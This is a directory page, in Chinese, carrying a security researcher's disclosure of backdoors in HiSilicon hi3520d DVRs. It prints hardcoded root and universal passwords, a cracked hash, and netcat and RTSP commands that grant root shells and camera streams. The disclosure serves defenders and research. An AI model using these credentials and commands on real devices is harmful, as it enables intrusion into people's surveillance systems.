Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pwn-hisilicon-dvr — 针对海思 hi3520d DVR/NVR 设备的 PoC 漏洞利用与漏洞披露。演示了通过 Web 界面实现的远程代码执行(RCE)、后门凭据以及缓冲区溢出分析。 | Kitploit
工具/GitHubGitHub/tothi/pwn-hisilicon-dvr
嵌入式系统安全密码破解物联网安全网络映射漏洞分析漏洞利用逆向工程Web应用程序漏洞利用信息收集模糊测试二进制分析
38390203年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

针对海思 hi3520d DVR/NVR 设备的 PoC 漏洞利用与漏洞披露。演示了通过 Web 界面实现的远程代码执行(RCE)、后门凭据以及缓冲区溢出分析。

查看仓库

= HiSilicon DVR 破解 Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] 本报告披露了使用海思 hi3520d 及类似片上系统(SoC)的 DVR/NVR 设备中存在的严重漏洞(含概念验证(PoC)代码)。利用这些漏洞仅通过 Web 界面即可实现未授权的远程代码执行(RCE),从而完全控制被利用的设备。由于缺乏升级固件,不建议使用这些设备。 已于 2016 年 12 月之前联系厂商,但仍未收到回复。本披露发布日期为 2017 年 2 月。

== 前言

几年前,我在 eBay 上买了一台廉价的中国 DVR 设备。设备的启动徽标写着:“SECULINK - 安全监控”。作为一名 IT 安全爱好者,我决定仔细看看该设备,看看这个安全监控服务到底有多“安全”。谷歌搜索相关话题时,我找到了一些有趣的资料,但深入挖掘后,发现了关于该设备更有趣、更严重的问题(0-day)。

让我们从头开始看看整个入侵会话。(新的、自主研发的成果会标注出来,旧的、已知的也一样。)

== 探索 DVR

首先,我们应当了解官方用户界面,然后深入挖掘,也许尝试获取固件。找到漏洞的机会随着固件的获取而增加。

=== DVR 初览

用于测试的 DVR 设备品牌为 “Seculink”。

image::./seculink_device.png[Seculink DVR device]

可用的物理接口:

  • 2 个 USB 端口(官方用于连接鼠标控制 GUI 控制台),
  • HDMI 端口(以及 VGA),用于连接外部显示器(查看 GUI 和摄像头画面),
  • 4 个 BNC 连接器,用于连接模拟闭路电视摄像机,
  • 内部 SATA 端口,用于连接存储以录制视频流,
  • 以太网端口,用于网络访问。

官方用户界面:

  • 直接使用 HDMI(或 VGA)作为输出,USB 鼠标/键盘作为输入,进行摄像头查看/控制/完整设置,
  • 通过网络 HTTP 访问,进行摄像头查看/控制。

直接访问的设置界面受用户认证(用户名、密码)限制。默认超级用户为 'admin',默认密码为空。

设置强密码后,用户可能会觉得自己的摄像头画面不会被他人访问。人们经常将 DVR 设备的 Web 端口(tcp/80)从其安全的 LAN 转发到 WAN 侧,以便从外部访问 DVR 视频流(我们可以通过适当的 Shodan 搜索来验证这一点 ;) )。

=== 获取固件

获取固件的方法可能有很多:

  • 通过某些软方法从设备获取(使用官方界面,或利用某些漏洞),
  • 通过某些硬方法从设备获取(JTAG、串行控制台等),
  • 从互联网上查找并下载(如果有的话)。

虽然后一种(下载)方法在这里有效,而且是最容易的,但让我们先尝试第一种方法,因为它还能提供有关设备的其他信息。

=== 服务扫描

让我们对 DVR 进行一次全端口扫描。注意,(默认以 root 身份运行时)SYN 扫描非常慢,因为丢包,但完整的 TCP connect 扫描在几分钟内完成。


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


总结和手动测试:

  • 23/tcp 是一个 telnet 登录界面,受某种用户名
  • 密码保护(不是应用程序凭据)
  • 80/tcp 是受应用程序凭据保护的 Web 界面
  • 554/tcp 是一个 rtsp 服务;可以通过常见的 rtsp url 打开:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

注意,打开 rtsp 流也需要凭据。

  • 9527/tcp 似乎是一个(秘密?)服务端口,具有一些非常有趣的功能,
  • 34567/tcp 和 34599/tcp 似乎是与 DVR 应用程序相关的一些数据端口。

这里我们应该指出,该设备可能运行某种类似 Linux 的系统。

连接到 9527/tcp(通过原始 netcat)显示应用程序控制台,其中包含日志消息和一个登录提示符。使用任何已定义的应用程序凭据登录均有效。在提示符后输入 help 会给出控制台命令的简短说明。命令 shell 似乎是最有趣的。是的,它会给设备一个 root shell。;)

注意,这显然是一个严重的安全问题,因为任何(低权限的)应用程序用户都不应该自动获得设备的 root shell。

=== root shell

在 root shell 中探索设备(例如通过 dmesg)可以清楚地看到,DVR 运行的是 Linux 内核(版本 3.0.8),它有一个 ARMv7 CPU,SoC 型号是 hi3520d。

从正在运行的进程列表(ps)可以清楚地看到,DVR 应用程序是 /var/Sofia,除了 nmap 检测到的上述 tcp 端口外,它还在监听 34568/udp 和 34569/udp(netstat -nlup)。

从挂载的磁盘列表(mount 命令)可以清楚地看到,固件镜像位于 /dev/mtdblockX 设备中(其中 X=0,1,2,3,4,5)。

固件很小,因此受限,所以如果我们想向设备复制文件或从设备复制文件,就得发挥创意。幸运的是,支持 NFS,所以在我们的台式机上设置一个 NFS 服务器并从 DVR 挂载它,问题就解决了:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

现在获取固件就很简单了:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

我们可以得到这些文件(不仅仅是原始镜像):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== telnet 接口

要通过 telnet 接口(端口 23/tcp)访问设备,我们可能需要一些操作系统凭据。查看 /etc/passwd,我们有 root 用户的密码哈希:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

注意,除了 root 之外没有其他用户,所有内容都以完全权限运行。(因此,如果有人以某种方式闯入设备,就没有任何屏障,攻击者会立即获得全部权限。)

假设一个六位字母数字(小写)密码,hashcat 很快就能破解上述弱 DES 哈希:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

因此,使用用户 root 和密码 xc3511 可以通过端口 23/tcp 上的 telnet 接口登录。这个硬编码的 root 账户可通过无法关闭的 telnet 接口访问,显然是一个后门。

这些结果在我们研究之前几乎已由其他人获得,但以下内容完全是新的。

== 固件逆向

探索固件后发现,二进制文件 /var/Sofia 是主应用程序,它实现了除视频处理和其他功能之外的所有接口。所以这个二进制文件对我们来说似乎是最有趣的。

不幸的是,它是(静态链接且)剥离的,这使得静态分析更加困难:


$ file Sofia Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

因此,除了静态分析(使用 radare2 或 IDA)之外,动态分析应该非常有帮助。

=== 远程 gdb

对于动态分析,将 GNU 项目调试器(GDB)附加到远程 /var/Sofia 应用程序应该是有利的。推荐的方法是在远程设备上运行(并附加)gdbserver,然后从本地机器将 gdb 连接到它。

当然,我们需要一个为合适的 ARM 架构编译的(最好是静态的)gdbserver。为了构建它,我们可以使用 https://www.uclibc.org/[µClibc],这是嵌入式系统(如我们的 DVR)推荐的 C 库。可用的构建是动态构建,这在我们的 DVR 上会有问题,所以我们应该自己制作自定义静态构建。有一个很好的构建环境叫做 https://buildroot.org/[Buildroot],它使构建工作开箱即用(使用 make menuconfig 选择所需的应用程序(例如 gdb),不要忘记选择静态库,然后运行 make)。

经过短暂的构建时间(约 10-15 分钟),所有必要的工具都应该可用。静态二进制文件可以通过前面提到的 NFS 方法传输到设备。注意,包含 Sofia 二进制文件的 /var 目录是一个 ramfs,因此它不会在重启后持久化。如果我们想(几乎)永久地传输二进制文件,包含配置文件的读写分区 /mnt/mtd 应该是一个合适的目标。如果你也构建了 openssh 包,那么 scp 将可用,这使文件传输更加容易。

现在固件已经准备好进行一些逆向。远程附加 gdbserver 现在可以工作了(通过 ps 很容易获得 Sofia 进程的 PID):


$ /mnt/mtd/gdbserver --attach :2000 610

从本地机器连接:


$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

注意,建议使用某些 GDB 扩展(如 http://gef.readthedocs.io/en/master/[GEF])。如果出于某种原因暂停应用程序不起作用(使用 C-c),向 Sofia 进程发送 TRAP 信号(通过 kill -TRAP 610)应该会使其暂停。

=== 检查认证过程

静态分析推荐的工具显然是 Hex-Ray 的 https://www.hex-rays.com/products/ida/[IDA Pro]。不幸的是,它不便宜,但比任何其他工具都好。

初始自动分析后有 15,000+ 个函数,但在 IDA 中找到认证函数只需片刻(使用简单的 Python 脚本)。下面的 https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] 代码片段搜索所有同时引用与 “Users” 和 “Password” 相关内容的函数:

[source,python]

x1, x2 = set(), set() for loc, name in Names(): if "Users" in name: for addr in XrefsTo(loc): x1.add(GetFunctionName(addr.frm)) elif "Password" in name: for addr in XrefsTo(loc): x2.add(GetFunctionName(addr.frm)) print x1 & x2

结果只有一个函数:sub_2D857C。快速分析该函数确认这应该是认证函数。

在从配置中获取用户的密码哈希之前,有一个针对硬编码字符串的明文密码的初始检查。如果通过,则授予认证。这是应用程序中的一个丑陋的后门。通用密码是:I0TO5Wv9。

有了这个密码,我们可以以任何用户(例如 admin)的身份访问应用程序中的任何内容。例如,获取视频流:


$ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'

或者在应用程序控制台(9527/tcp)上获得一个 root shell 也可以:


$ nc 192.168.88.127 9527 nc: using stream socket

username:admin password:I0TO5Wv9 login(admin, ******, Console, address:) admin$

认证算法中另一个有趣的结果是:在某些情况下,认证函数不仅接受密码,还接受哈希。打开 rtsp 视频流不仅可以使用密码,还可以使用存储在 /mnt/mtd/Config/Account1 中的哈希。例如,tlJwpbo6 是空密码的哈希(另见下一节),所以``` cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp' cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

同样有效。

=== 密码哈希函数

对认证函数进行深入静态分析的另一个结果:密码哈希函数是 `sub_3DD5E4`。它基本上是 MD5 加上一些奇怪的变换。已将其逆向并用 Python 实现:

[source,python]
----
import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
----
下载工具